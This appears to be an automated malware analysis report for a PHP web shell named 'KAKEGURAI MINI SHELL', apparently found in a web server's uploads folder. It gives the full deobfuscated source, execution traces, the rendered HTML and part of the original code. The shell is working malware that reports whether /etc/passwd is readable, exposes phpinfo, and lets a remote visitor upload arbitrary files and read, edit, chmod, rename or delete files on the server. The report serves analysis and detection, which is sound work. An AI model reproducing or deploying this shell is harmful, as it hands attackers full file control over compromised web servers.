PHP Malware Analysis

cylul.php5, Shell4.php

md5: 399f1f17bad1cc5d830e83dc23b266e6

Jump to:

Screenshot


Attributes

Environment

Files

Input

Title

URLs


Deobfuscated PHP code

<center><b><h1><font face="courier new" color="gold">WELCOME TO MINSHELL|| KAKEGURAI</font></h1></b></center>
<center><b><h4><font face="courier new" color="white">YT : LExz78 Official</font></h4></b></center>
<center><a href="https://m.youtube.com/channel/UC8WX-5Nqbp8JX_go_y88lMA"><img src="https://d.top4top.io/p_18250ww350.jpg" weight="250" height="250"/></a></center>
<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr><td>
<center>
<?php 
$etc_passwd = @is_readable("/etc/passwd") ? "<b><span style=\"color:white\">ON </span></b>" : "<b><span style=\"color:red\"/>off </span></b>";
echo '<b><font color=red>Server IP  :   </b></font><b>' . $_SERVER['SERVER_ADDR'] . ' </b>';
echo '<b><font color=red>Your IP :  </b></font><b>' . $_SERVER['REMOTE_ADDR'] . '</b>';
echo "</br>";
echo "<b><font color=red>Safe Mode :  </font></b>";
// Check for safe mode
if (ini_get('safe_mode')) {
    print "<font color=#FF0000><b> ON</b></font>";
} else {
    print "<font color=#008000><b> OFF</b></font>";
}
echo "</br>";
echo "<b><font color=red>Read etc/passwd : </font></b><b>{$etc_passwd}</b>";
echo "<b><font color=red>Functions : </font><b>";
echo "<a href='{$php_self}?p=info'>PHP INFO </a>";
if (@$_GET['p'] == "info") {
    @phpinfo();
    exit;
}
?>
<br>
</center>
<?php 
set_time_limit(0);
error_reporting(0);
if (get_magic_quotes_gpc()) {
    foreach ($_POST as $key => $value) {
        $_POST[$key] = stripslashes($value);
    }
}
echo "<!DOCTYPE HTML>\r\n<HTML>\r\n<HEAD>\r\n<link href=\"\" rel=\"stylesheet\" type=\"text/css\">\r\n<title>KAKEGURAI MINI SHELL</title>\r\n<style>\r\nbody{\r\n    font-family: \"Arial\", cursive;\r\n    background-image:url(https://g.top4top.io/p_1825r6iwh0.jpg);\r\n    text-shadow:0px 0px 1px #757575;\r\n}\r\n#content tr:hover{\r\n    background-color: #636263;\r\n    text-shadow:0px 0px 10px #fff;\r\n}\r\n#content .first{\r\n    background-color: silver;\r\n}\r\n#content .first:hover{\r\n    background-color: gray;\r\n    text-shadow:0px 0px 1px #757575;\r\n}\r\ntable{\r\n    border: 1px #33f702 dotted;\r\n}\r\nH1{\r\n    font-family: \"Arial\", cursive;\r\n}\r\na{\r\n    color: #33f702;\r\n    text-decoration: none;\r\n}\r\na:hover{\r\n    color: #fff;\r\n    text-shadow:0px 0px 10px #ffffff;\r\n}\r\ninput,select,textarea{\r\n    border: 1px #999999 solid;\r\n    -moz-border-radius: 5px;\r\n    -webkit-border-radius:5px;\r\n    border-radius:5px;\r\n}\r\n</style>\r\n</HEAD>\r\n<BODY>\r\n\r\n<table width=\"700\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\">\r\n<tr><td>\r\n<center>\r\n<font color=red><b>Current Path : </font></b>";
if (isset($_GET['y'])) {
    $path = $_GET['y'];
} else {
    $path = getcwd();
}
$path = str_replace('\\', '/', $path);
$paths = explode('/', $path);
foreach ($paths as $id => $pat) {
    if ($pat == '' && $id == 0) {
        $a = true;
        echo "<a href=\"?y=/\">/</a>";
        continue;
    }
    if ($pat == '') {
        continue;
    }
    echo "<a href=\"?y=";
    for ($i = 0; $i <= $id; $i++) {
        echo $paths[$i];
        if ($i != $id) {
            echo "/";
        }
    }
    echo '">' . $pat . '</a>/';
}
echo "<a href=\"?\"><font color=red><b>&nbsp;&nbsp;&nbsp;Home </font></b></a></td></tr><tr><td>";
if (isset($_FILES['file'])) {
    if (copy($_FILES['file']['tmp_name'], $path . '/' . $_FILES['file']['name'])) {
        echo "<font color=\"#30f209\">File Upload Done.</font><br />";
    } else {
        echo "<font color=\"red\">File Upload Error.</font><br />";
    }
}
echo "<center>";
echo "<form enctype=\"multipart/form-data\" method=\"POST\">\r\n<b><font color=red>File Upload : </b></font><input type=\"file\" name=\"file\" />\r\n<input type=\"submit\" value=\"upload\" />\r\n</form>\r\n</td></tr>";
if (isset($_GET['filesrc'])) {
    echo "<tr><td><b><center><font color=red align=center>Current File :</font></b> ";
    echo '<a href="?filesrc=' . $path / $file . '&y=' . $path . '">' . $_GET[filesrc] . '</a>';
    echo "</tr></td></table><br />";
    echo '<textarea cols=90 rows=20 name="src">' . htmlspecialchars(file_get_contents($_GET['filesrc'])) . '</textarea>';
} elseif (isset($_GET['option']) && $_POST['opt'] != 'delete') {
    echo '</table><br /><center>' . $_POST['path'] . '<br /><br />';
    if ($_POST['opt'] == 'chmod') {
        if (isset($_POST['perm'])) {
            if (chmod($_POST['path'], $_POST['perm'])) {
                echo "<font color=\"green\">Change Permission Done.</font><br />";
            } else {
                echo "<font color=\"red\">Change Permission Error.</font><br />";
            }
        }
        echo '<form method="POST">
        Permission : <input name="perm" type="text" size="4" value="' . substr(sprintf('%o', fileperms($_POST['path'])), -4) . '" />
        <input type="hidden" name="path" value="' . $_POST['path'] . '">
        <input type="hidden" name="opt" value="chmod">
        <input type="submit" value="Go" />
        </form>';
    } elseif ($_POST['opt'] == 'rename') {
        if (isset($_POST['newname'])) {
            if (rename($_POST['path'], $path . '/' . $_POST['newname'])) {
                echo "<font color=\"green\">Change Name Done.</font><br />";
            } else {
                echo "<font color=\"red\">Change Name Error.</font><br />";
            }
            $_POST['name'] = $_POST['newname'];
        }
        echo '<form method="POST">
        New Name : <input name="newname" type="text" size="20" value="' . $_POST['name'] . '" />
        <input type="hidden" name="path" value="' . $_POST['path'] . '">
        <input type="hidden" name="opt" value="rename">
        <input type="submit" value="Go" />
        </form>';
    } elseif ($_POST['opt'] == 'edit') {
        if (isset($_POST['src'])) {
            $fp = fopen($_POST['path'], 'w');
            if (fwrite($fp, $_POST['src'])) {
                echo "<font color=\"green\">Edit File Done.</font><br />";
            } else {
                echo "<font color=\"red\">Edit File Error.</font><br />";
            }
            fclose($fp);
        }
        echo '<form method="POST">
        <textarea cols=80 rows=20 name="src">' . htmlspecialchars(file_get_contents($_POST['path'])) . '</textarea><br />
        <input type="hidden" name="path" value="' . $_POST['path'] . '">
        <input type="hidden" name="opt" value="edit">
        <input type="submit" value="Go" />
        </form>';
    }
    echo "</center>";
} else {
    echo "</table><br /><center>";
    if (isset($_GET['option']) && $_POST['opt'] == 'delete') {
        if ($_POST['type'] == 'dir') {
            if (rmdir($_POST['path'])) {
                echo "<font color=\"green\">Delete Dir Done.</font><br />";
            } else {
                echo "<font color=\"red\">Delete Dir Error.</font><br />";
            }
        } elseif ($_POST['type'] == 'file') {
            if (unlink($_POST['path'])) {
                echo "<font color=\"green\">Delete File Done.</font><br />";
            } else {
                echo "<font color=\"red\">Delete File Error.</font><br />";
            }
        }
    }
    echo "</center>";
    $scandir = scandir($path);
    echo "<div id=\"content\"><table width=\"700\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\">\r\n    <tr class=\"first\">\r\n        <td><center>Name</center></td>\r\n        <td><center>Size</center></td>\r\n        <td><center>Permissions</center></td>\r\n        <td><center>Options</center></td>\r\n    </tr>";
    foreach ($scandir as $dir) {
        if (!is_dir("{$path}/{$dir}") || $dir == '.' || $dir == '..') {
            continue;
        }
        echo "<tr>\r\n        <td><a href=\"?y={$path}/{$dir}\"><img width=33 height=44 src=\"http://icon-park.com/imagefiles/folder_icon_green.png\" />&nbsp;&nbsp;{$dir}</a></td>\r\n        <td><center>--</center></td>\r\n        <td><center>";
        if (is_writable("{$path}/{$dir}")) {
            echo "<font color=\"#ffffff\">";
        } elseif (!is_readable("{$path}/{$dir}")) {
            echo "<font color=\"red\">";
        }
        echo perms("{$path}/{$dir}");
        if (is_writable("{$path}/{$dir}") || !is_readable("{$path}/{$dir}")) {
            echo "</font>";
        }
        echo "</center></td>\r\n        <td><center><form method=\"POST\" action=\"?option&y={$path}\">\r\n        <select name=\"opt\">\r\n\t    <option value=\"\"></option>\r\n        <option value=\"delete\">Delete</option>\r\n        <option value=\"chmod\">Chmod</option>\r\n        <option value=\"rename\">Rename</option>\r\n        </select>\r\n        <input type=\"hidden\" name=\"type\" value=\"dir\">\r\n        <input type=\"hidden\" name=\"name\" value=\"{$dir}\">\r\n        <input type=\"hidden\" name=\"path\" value=\"{$path}/{$dir}\">\r\n        <input type=\"submit\" value=\">\" />\r\n        </form></center></td>\r\n        </tr>";
    }
    echo "<tr class=\"first\"><td></td><td></td><td></td><td></td></tr>";
    foreach ($scandir as $file) {
        if (!is_file("{$path}/{$file}")) {
            continue;
        }
        $size = filesize("{$path}/{$file}") / 1024;
        $size = round($size, 3);
        if ($size >= 1024) {
            $size = round($size / 1024, 2) . ' MB';
        } else {
            $size .= ' KB';
        }
        echo "<tr>\r\n        <td><a href=\"?filesrc={$path}/{$file}&y={$path}\"><img width=33 height=44 src=\"http://icon-park.com/imagefiles/folder_icon_green.png\" />&nbsp;&nbsp;{$file}</a></td>\r\n        <td><center>" . $size . "</center></td>\r\n        <td><center>";
        if (is_writable("{$path}/{$file}")) {
            echo "<font color=\"green\">";
        } elseif (!is_readable("{$path}/{$file}")) {
            echo "<font color=\"red\">";
        }
        echo perms("{$path}/{$file}");
        if (is_writable("{$path}/{$file}") || !is_readable("{$path}/{$file}")) {
            echo "</font>";
        }
        echo "</center></td>\r\n        <td><center><form method=\"POST\" action=\"?option&y={$path}\">\r\n        <select name=\"opt\">\r\n\t    <option value=\"\"></option>\r\n        <option value=\"delete\">Delete</option>\r\n        <option value=\"chmod\">Chmod</option>\r\n        <option value=\"rename\">Rename</option>\r\n        <option value=\"edit\">Edit</option>\r\n        </select>\r\n        <input type=\"hidden\" name=\"type\" value=\"file\">\r\n        <input type=\"hidden\" name=\"name\" value=\"{$file}\">\r\n        <input type=\"hidden\" name=\"path\" value=\"{$path}/{$file}\">\r\n        <input type=\"submit\" value=\">\" />\r\n        </form></center></td>\r\n        </tr>";
    }
    echo "</table>\r\n    </div>";
}
echo "<br /><center><marquee direction=\"center\" behavior=\"alternate\"><b><h4><font face=\"courier new\" color=\"white\">LExz78 Official - Kakegurai Official - Mr.Cick3n</font></h4></b></marquee><br><audio src=\"https://b.top4top.io/m_17923krtx0.mp3\" controls=\"controls\" autoplays=\"autoplays\" type=\"audio/mpeg\"</audio></center>\r\n<script src=\"https://cdn.rawgit.com/bungfrangki/efeksalju/2a7805c7/daun-berguguran.js\" type=\"text/javascript\"></script>\r\n</BODY>\r\n</HTML>";
function perms($file)
{
    $perms = fileperms($file);
    if (($perms & 0xc000) == 0xc000) {
        // Socket
        $info = 's';
    } elseif (($perms & 0xa000) == 0xa000) {
        // Symbolic Link
        $info = 'l';
    } elseif (($perms & 0x8000) == 0x8000) {
        // Regular
        $info = '-';
    } elseif (($perms & 0x6000) == 0x6000) {
        // Block special
        $info = 'b';
    } elseif (($perms & 0x4000) == 0x4000) {
        // Directory
        $info = 'd';
    } elseif (($perms & 0x2000) == 0x2000) {
        // Character special
        $info = 'c';
    } elseif (($perms & 0x1000) == 0x1000) {
        // FIFO pipe
        $info = 'p';
    } else {
        // Unknown
        $info = 'u';
    }
    // Owner
    $info .= $perms & 0x100 ? 'r' : '-';
    $info .= $perms & 0x80 ? 'w' : '-';
    $info .= $perms & 0x40 ? $perms & 0x800 ? 's' : 'x' : ($perms & 0x800 ? 'S' : '-');
    // Group
    $info .= $perms & 0x20 ? 'r' : '-';
    $info .= $perms & 0x10 ? 'w' : '-';
    $info .= $perms & 0x8 ? $perms & 0x400 ? 's' : 'x' : ($perms & 0x400 ? 'S' : '-');
    // World
    $info .= $perms & 0x4 ? 'r' : '-';
    $info .= $perms & 0x2 ? 'w' : '-';
    $info .= $perms & 0x1 ? $perms & 0x200 ? 't' : 'x' : ($perms & 0x200 ? 'T' : '-');
    return $info;
}

Execution traces

data/traces/399f1f17bad1cc5d830e83dc23b266e6_trace-1676241756.5968.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 20:43:02.494671]
1	0	1	0.000224	393528
1	3	0	0.000339	410848	{main}	1		/var/www/html/uploads/Shell4.php	0	0
2	4	0	0.000360	410848	is_readable	0		/var/www/html/uploads/Shell4.php	8	1	'/etc/passwd'
2	4	1	0.000388	410888
2	4	R			TRUE
1		A						/var/www/html/uploads/Shell4.php	8	$etc_passwd = '<b><span style="color:white">ON </span></b>'
2	5	0	0.000424	410848	ini_get	0		/var/www/html/uploads/Shell4.php	14	1	'safe_mode'
2	5	1	0.000438	410880
2	5	R			FALSE
1	3	1	0.000687	419152
			0.000718	314360
TRACE END   [2023-02-12 20:43:02.495208]

data/traces/399f1f17bad1cc5d830e83dc23b266e6_trace-1676250695.7646.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 23:12:01.662463]
1	0	1	0.000147	393528
1	3	0	0.000256	410848	{main}	1		/var/www/html/uploads/cylul.php5	0	0
2	4	0	0.000274	410848	is_readable	0		/var/www/html/uploads/cylul.php5	8	1	'/etc/passwd'
2	4	1	0.000294	410888
2	4	R			TRUE
1		A						/var/www/html/uploads/cylul.php5	8	$etc_passwd = '<b><span style="color:white">ON </span></b>'
2	5	0	0.000325	410848	ini_get	0		/var/www/html/uploads/cylul.php5	14	1	'safe_mode'
2	5	1	0.000339	410880
2	5	R			FALSE
1	3	1	0.000527	419152
			0.000550	314360
TRACE END   [2023-02-12 23:12:01.662896]


Generated HTML code

<html><head></head><body><center><b><h1><font face="courier new" color="gold">WELCOME TO MINSHELL|| KAKEGURAI</font></h1></b></center>
<center><b><h4><font face="courier new" color="white">YT : LExz78 Official</font></h4></b></center>
<center><a href="https://m.youtube.com/channel/UC8WX-5Nqbp8JX_go_y88lMA"><img src="https://d.top4top.io/p_18250ww350.jpg" weight="250" height="250"></a></center>
<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tbody><tr><td>
<center>
<b><font color="red">Server IP  :   </font></b><b>::1 </b><b><font color="red">Your IP :  </font></b><b>::1</b><br><b><font color="red">Safe Mode :  </font></b><font color="#008000"><b> OFF</b></font><br><b><font color="red">Read etc/passwd : </font></b><b><b><span style="color:white">ON </span></b></b><b><font color="red">Functions : </font><b><a href="?p=info">PHP INFO </a><br>
</b></b></center><b><b>
<!--?

set_time_limit(0);
error_reporting(0);

if(get_magic_quotes_gpc()){
    foreach($_POST as $key=-->$value){
        $_POST[$key] = stripslashes($value);
    }
}
echo '


<link href="" rel="stylesheet" type="text/css">
<title>KAKEGURAI MINI SHELL</title>
<style>
body{
    font-family: "Arial", cursive;
    background-image:url(https://g.top4top.io/p_1825r6iwh0.jpg);
    text-shadow:0px 0px 1px #757575;
}
#content tr:hover{
    background-color: #636263;
    text-shadow:0px 0px 10px #fff;
}
#content .first{
    background-color: silver;
}
#content .first:hover{
    background-color: gray;
    text-shadow:0px 0px 1px #757575;
}
table{
    border: 1px #33f702 dotted;
}
H1{
    font-family: "Arial", cursive;
}
a{
    color: #33f702;
    text-decoration: none;
}
a:hover{
    color: #fff;
    text-shadow:0px 0px 10px #ffffff;
}
input,select,textarea{
    border: 1px #999999 solid;
    -moz-border-radius: 5px;
    -webkit-border-radius:5px;
    border-radius:5px;
}
</style>



';
if(isset($_GET['filesrc'])){
    echo "<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tbody><tr><td>
<center>
<font color="red"><b>Current Path : </b></font>';
if(isset($_GET['y'])){
    $path = $_GET['y'];   
}else{
    $path = getcwd();
}
$path = str_replace('\\','/',$path);
$paths = explode('/',$path);

foreach($paths as $id=&gt;$pat){
    if($pat == '' &amp;&amp; $id == 0){
        $a = true;
        echo '<a href="?y=/">/</a>';
        continue;
    }
    if($pat == '') continue;
    echo '<a href="?y=';
    for($i=0;$i<=$id;$i++){
        echo $paths[$i];
        if($i != $id) echo " ";="" }="" echo="" '"="">'.$pat.'</a>/';
}
echo '<a href="?"><font color="red"><b>&nbsp;&nbsp;&nbsp;Home </b></font></a></center></td></tr><tr><td>';
if(isset($_FILES['file'])){
    if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
        echo '<font color="#30f209">File Upload Done.</font><br>';
    }else{
        echo '<font color="red">File Upload Error.</font><br>';
    }
}
echo '<center>';
echo '<form enctype="multipart/form-data" method="POST">
<b><font color="red">File Upload : </font></b><input type="file" name="file">
<input type="submit" value="upload">
</form>
</center></td></tr><tr><td><b></b><center><b><font color="red" align="center">Current File :</font></b> ";
    echo '<a href="?filesrc='.$path/$file.'&amp;y='.$path.'">'.$_GET[filesrc].'</a>';
    echo '</center></td></tr></tbody></table><br>';
    echo('<textarea cols="90" rows="20" name="src">'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</textarea>');
}elseif(isset($_GET['option']) &amp;&amp; $_POST['opt'] != 'delete'){
    echo '</b></b></td></tr></tbody></table><br><center>'.$_POST['path'].'<br><br>';
    if($_POST['opt'] == 'chmod'){
        if(isset($_POST['perm'])){
            if(chmod($_POST['path'],$_POST['perm'])){
                echo '<font color="green">Change Permission Done.</font><br>';
            }else{
                echo '<font color="red">Change Permission Error.</font><br>';
            }
        }
        echo '<form method="POST">
        Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'">
        <input type="hidden" name="path" value="'.$_POST['path'].'">
        <input type="hidden" name="opt" value="chmod">
        <input type="submit" value="Go">
        </form>';
    }elseif($_POST['opt'] == 'rename'){
        if(isset($_POST['newname'])){
            if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
                echo '<font color="green">Change Name Done.</font><br>';
            }else{
                echo '<font color="red">Change Name Error.</font><br>';
            }
            $_POST['name'] = $_POST['newname'];
        }
        echo '<form method="POST">
        New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'">
        <input type="hidden" name="path" value="'.$_POST['path'].'">
        <input type="hidden" name="opt" value="rename">
        <input type="submit" value="Go">
        </form>';
    }elseif($_POST['opt'] == 'edit'){
        if(isset($_POST['src'])){
            $fp = fopen($_POST['path'],'w');
            if(fwrite($fp,$_POST['src'])){
                echo '<font color="green">Edit File Done.</font><br>';
            }else{
                echo '<font color="red">Edit File Error.</font><br>';
            }
            fclose($fp);
        }
        echo '<form method="POST">
        <textarea cols="80" rows="20" name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br>
        <input type="hidden" name="path" value="'.$_POST['path'].'">
        <input type="hidden" name="opt" value="edit">
        <input type="submit" value="Go">
        </form>';
    }
    echo '</center>';
}else{
    echo '<br><center>';
    if(isset($_GET['option']) &amp;&amp; $_POST['opt'] == 'delete'){
        if($_POST['type'] == 'dir'){
            if(rmdir($_POST['path'])){
                echo '<font color="green">Delete Dir Done.</font><br>';
            }else{
                echo '<font color="red">Delete Dir Error.</font><br>';
            }
        }elseif($_POST['type'] == 'file'){
            if(unlink($_POST['path'])){
                echo '<font color="green">Delete File Done.</font><br>';
            }else{
                echo '<font color="red">Delete File Error.</font><br>';
            }
        }
    }
    echo '</center>';
    $scandir = scandir($path);
    echo '<div id="content">';
    foreach($scandir as $dir){
        if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
        echo "";
    }
    echo '';
    foreach($scandir as $file){
        if(!is_file("$path/$file")) continue;
        $size = filesize("$path/$file")/1024;
        $size = round($size,3);
        if($size &gt;= 1024){
            $size = round($size/1024,2).' MB';
        }else{
            $size = $size.' KB';
        }

        echo "";
    }
    echo '<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
    <tbody><tr class="first">
        <td><center>Name</center></td>
        <td><center>Size</center></td>
        <td><center>Permissions</center></td>
        <td><center>Options</center></td>
    </tr><tr>
        <td><a href="\&quot;?y=$path/$dir\&quot;"><img width="33" height="44" src="\&quot;http://icon-park.com/imagefiles/folder_icon_green.png\&quot;">&nbsp;&nbsp;$dir</a></td>
        <td><center>--</center></td>
        <td><center>";
        if(is_writable("$path/$dir")) echo '<font color="#ffffff">';
        elseif(!is_readable("$path/$dir")) echo '<font color="red">';
        echo perms("$path/$dir");
        if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
        
        echo "</font></center></td>
        <td><center><form method="\&quot;POST\&quot;" action="\&quot;?option&amp;y=$path\&quot;">
        <select name="\&quot;opt\&quot;">
	    <option value="\&quot;\&quot;"></option>
        <option value="\&quot;delete\&quot;">Delete</option>
        <option value="\&quot;chmod\&quot;">Chmod</option>
        <option value="\&quot;rename\&quot;">Rename</option>
        </select>
        <input type="\&quot;hidden\&quot;" name="\&quot;type\&quot;" value="\&quot;dir\&quot;">
        <input type="\&quot;hidden\&quot;" name="\&quot;name\&quot;" value="\&quot;$dir\&quot;">
        <input type="\&quot;hidden\&quot;" name="\&quot;path\&quot;" value="\&quot;$path/$dir\&quot;">
        <input type="\&quot;submit\&quot;" value="\&quot;">\" /&gt;
        </form></center></td>
        </tr><tr class="first"><td></td><td></td><td></td><td></td></tr><tr>
        <td><a href="\&quot;?filesrc=$path/$file&amp;y=$path\&quot;"><img width="33" height="44" src="\&quot;http://icon-park.com/imagefiles/folder_icon_green.png\&quot;">&nbsp;&nbsp;$file</a></td>
        <td><center>".$size."</center></td>
        <td><center>";
        if(is_writable("$path/$file")) echo '<font color="green">';
        elseif(!is_readable("$path/$file")) echo '<font color="red">';
        echo perms("$path/$file");
        if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
        echo "</font></center></td>
        <td><center><form method="\&quot;POST\&quot;" action="\&quot;?option&amp;y=$path\&quot;">
        <select name="\&quot;opt\&quot;">
	    <option value="\&quot;\&quot;"></option>
        <option value="\&quot;delete\&quot;">Delete</option>
        <option value="\&quot;chmod\&quot;">Chmod</option>
        <option value="\&quot;rename\&quot;">Rename</option>
        <option value="\&quot;edit\&quot;">Edit</option>
        </select>
        <input type="\&quot;hidden\&quot;" name="\&quot;type\&quot;" value="\&quot;file\&quot;">
        <input type="\&quot;hidden\&quot;" name="\&quot;name\&quot;" value="\&quot;$file\&quot;">
        <input type="\&quot;hidden\&quot;" name="\&quot;path\&quot;" value="\&quot;$path/$file\&quot;">
        <input type="\&quot;submit\&quot;" value="\&quot;">\" /&gt;
        </form></center></td>
        </tr></tbody></table>
    </div>';
}
echo '<br><center><marquee direction="center" behavior="alternate"><b><h4><font face="courier new" color="white">LExz78 Official - Kakegurai Official - Mr.Cick3n</font></h4></b></marquee><br><audio src="https://b.top4top.io/m_17923krtx0.mp3" controls="controls" autoplays="autoplays" type="audio/mpeg" <="" audio=""></audio></center>
<script src="https://cdn.rawgit.com/bungfrangki/efeksalju/2a7805c7/daun-berguguran.js" type="text/javascript"></script><div id="dot0" style="position: absolute; z-index: 0; visibility: visible; top: 888.653px; left: 523.718px;"><a href="http://wpplugins.info"><img src="http://arti.master.irhamna.googlepages.com/snow.gif" border="0"></a></div><div id="dot1" style="position: absolute; z-index: 1; visibility: visible; top: 1158.42px; left: 1727.49px;"><img src="http://arti.master.irhamna.googlepages.com/snow.gif" border="0"></div><div id="dot2" style="position: absolute; z-index: 2; visibility: visible; top: 1136.78px; left: 1767.01px;"><img src="http://arti.master.irhamna.googlepages.com/snow.gif" border="0"></div><div id="dot3" style="position: absolute; z-index: 3; visibility: visible; top: 931.709px; left: 1542.38px;"><img src="http://arti.master.irhamna.googlepages.com/snow.gif" border="0"></div><div id="dot4" style="position: absolute; z-index: 4; visibility: visible; top: 1198.56px; left: 1268.82px;"><img src="http://arti.master.irhamna.googlepages.com/snow.gif" border="0"></div><div id="dot5" style="position: absolute; z-index: 5; visibility: visible; top: 983.62px; left: 381.455px;"><img src="http://arti.master.irhamna.googlepages.com/snow.gif" border="0"></div><div id="dot6" style="position: absolute; z-index: 6; visibility: visible; top: 885.609px; left: 1519.37px;"><img src="http://arti.master.irhamna.googlepages.com/snow.gif" border="0"></div><div id="dot7" style="position: absolute; z-index: 7; visibility: visible; top: 850.543px; left: 1151.34px;"><img src="http://arti.master.irhamna.googlepages.com/snow.gif" border="0"></div><div id="dot8" style="position: absolute; z-index: 8; visibility: visible; top: 453.131px; left: 1682.52px;"><img src="http://arti.master.irhamna.googlepages.com/snow.gif" border="0"></div><div id="dot9" style="position: absolute; z-index: 9; visibility: visible; top: 865.551px; left: 1452.97px;"><img src="http://arti.master.irhamna.googlepages.com/snow.gif" border="0"></div><div id="dot10" style="position: absolute; z-index: 10; visibility: visible; top: 577.559px; left: 429.456px;"><img src="http://arti.master.irhamna.googlepages.com/snow.gif" border="0"></div><div id="dot11" style="position: absolute; z-index: 11; visibility: visible; top: 887.326px; left: 945.575px;"><img src="http://arti.master.irhamna.googlepages.com/snow.gif" border="0"></div><div id="dot12" style="position: absolute; z-index: 12; visibility: visible; top: 412.837px; left: 942.982px;"><img src="http://arti.master.irhamna.googlepages.com/snow.gif" border="0"></div><div id="dot13" style="position: absolute; z-index: 13; visibility: visible; top: 917.773px; left: 698.823px;"><img src="http://arti.master.irhamna.googlepages.com/snow.gif" border="0"></div><div id="dot14" style="position: absolute; z-index: 14; visibility: visible; top: 728.416px; left: 1219.89px;"><img src="http://arti.master.irhamna.googlepages.com/snow.gif" border="0"></div><div id="dot15" style="position: absolute; z-index: 15; visibility: visible; top: 987.578px; left: 1309.94px;"><img src="http://arti.master.irhamna.googlepages.com/snow.gif" border="0"></div><div id="dot16" style="position: absolute; z-index: 16; visibility: visible; top: 707.024px; left: 1513.15px;"><img src="http://arti.master.irhamna.googlepages.com/snow.gif" border="0"></div><div id="dot17" style="position: absolute; z-index: 17; visibility: visible; top: 1187.77px; left: 1163.04px;"><img src="http://arti.master.irhamna.googlepages.com/snow.gif" border="0"></div><div id="dot18" style="position: absolute; z-index: 18; visibility: visible; top: 787.996px; left: 857.83px;"><img src="http://arti.master.irhamna.googlepages.com/snow.gif" border="0"></div><div id="dot19" style="position: absolute; z-index: 19; visibility: visible; top: 563.954px; left: 1098.43px;"><img src="http://arti.master.irhamna.googlepages.com/snow.gif" border="0"></div>

';
function perms($file){
    $perms = fileperms($file);

if (($perms &amp; 0xC000) == 0xC000) {
    // Socket
    $info = 's';
} elseif (($perms &amp; 0xA000) == 0xA000) {
    // Symbolic Link
    $info = 'l';
} elseif (($perms &amp; 0x8000) == 0x8000) {
    // Regular
    $info = '-';
} elseif (($perms &amp; 0x6000) == 0x6000) {
    // Block special
    $info = 'b';
} elseif (($perms &amp; 0x4000) == 0x4000) {
    // Directory
    $info = 'd';
} elseif (($perms &amp; 0x2000) == 0x2000) {
    // Character special
    $info = 'c';
} elseif (($perms &amp; 0x1000) == 0x1000) {
    // FIFO pipe
    $info = 'p';
} else {
    // Unknown
    $info = 'u';
}

// Owner
$info .= (($perms &amp; 0x0100) ? 'r' : '-');
$info .= (($perms &amp; 0x0080) ? 'w' : '-');
$info .= (($perms &amp; 0x0040) ?
            (($perms &amp; 0x0800) ? 's' : 'x' ) :
            (($perms &amp; 0x0800) ? 'S' : '-'));

// Group
$info .= (($perms &amp; 0x0020) ? 'r' : '-');
$info .= (($perms &amp; 0x0010) ? 'w' : '-');
$info .= (($perms &amp; 0x0008) ?
            (($perms &amp; 0x0400) ? 's' : 'x' ) :
            (($perms &amp; 0x0400) ? 'S' : '-'));

// World
$info .= (($perms &amp; 0x0004) ? 'r' : '-');
$info .= (($perms &amp; 0x0002) ? 'w' : '-');
$info .= (($perms &amp; 0x0001) ?
            (($perms &amp; 0x0200) ? 't' : 'x' ) :
            (($perms &amp; 0x0200) ? 'T' : '-'));

    return $info;
}
?&gt;</body></html>

Original PHP code

<center><b><h1><font face="courier new" color="gold">WELCOME TO MINSHELL|| KAKEGURAI</font></h1></b></center>
<center><b><h4><font face="courier new" color="white">YT : LExz78 Official</font></h4></b></center>
<center><a href="https://m.youtube.com/channel/UC8WX-5Nqbp8JX_go_y88lMA"><img src="https://d.top4top.io/p_18250ww350.jpg" weight="250" height="250"/></a></center>
<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr><td>
<center>
<?php
$etc_passwd = @is_readable("/etc/passwd") ? "<b><span style=\"color:white\">ON </span></b>" : "<b><span style=\"color:red\"/>off </span></b>";
echo '<b><font color=red>Server IP  :   </b></font><b>'.$_SERVER['SERVER_ADDR'].' </b>';
echo '<b><font color=red>Your IP :  </b></font><b>'.$_SERVER['REMOTE_ADDR'].'</b>';
echo "</br>";
echo "<b><font color=red>Safe Mode :  </font></b>";
// Check for safe mode
if( ini_get('safe_mode') ) {
  print '<font color=#FF0000><b> ON</b></font>';
} else {
  print '<font color=#008000><b> OFF</b></font>';
}
echo "</br>";
echo "<b><font color=red>Read etc/passwd : </font></b><b>$etc_passwd</b>";
echo "<b><font color=red>Functions : </font><b>";echo "<a href='$php_self?p=info'>PHP INFO </a>";
if(@$_GET['p']=="info"){@phpinfo();
exit;}
?>
<br>
</center>
<?

set_time_limit(0);
error_reporting(0);

if(get_magic_quotes_gpc()){
    foreach($_POST as $key=>$value){
        $_POST[$key] = stripslashes($value);
    }
}
echo '<!DOCTYPE HTML>
<HTML>
<HEAD>
<link href="" rel="stylesheet" type="text/css">
<title>KAKEGURAI MINI SHELL</title>
<style>
body{
    font-family: "Arial", cursive;
    background-image:url(https://g.top4top.io/p_1825r6iwh0.jpg);
    text-shadow:0px 0px 1px #757575;
}
#content tr:hover{
    background-color: #636263;
    text-shadow:0px 0px 10px #fff;
}
#content .first{
    background-color: silver;
}
#content .first:hover{
    background-color: gray;
    text-shadow:0px 0px 1px #757575;
}
table{
    border: 1px #33f702 dotted;
}
H1{
    font-family: "Arial", cursive;
}
a{
    color: #33f702;
    text-decoration: none;
}
a:hover{
    color: #fff;
    text-shadow:0px 0px 10px #ffffff;
}
input,select,textarea{
    border: 1px #999999 solid;
    -moz-border-radius: 5px;
    -webkit-border-radius:5px;
    border-radius:5px;
}
</style>
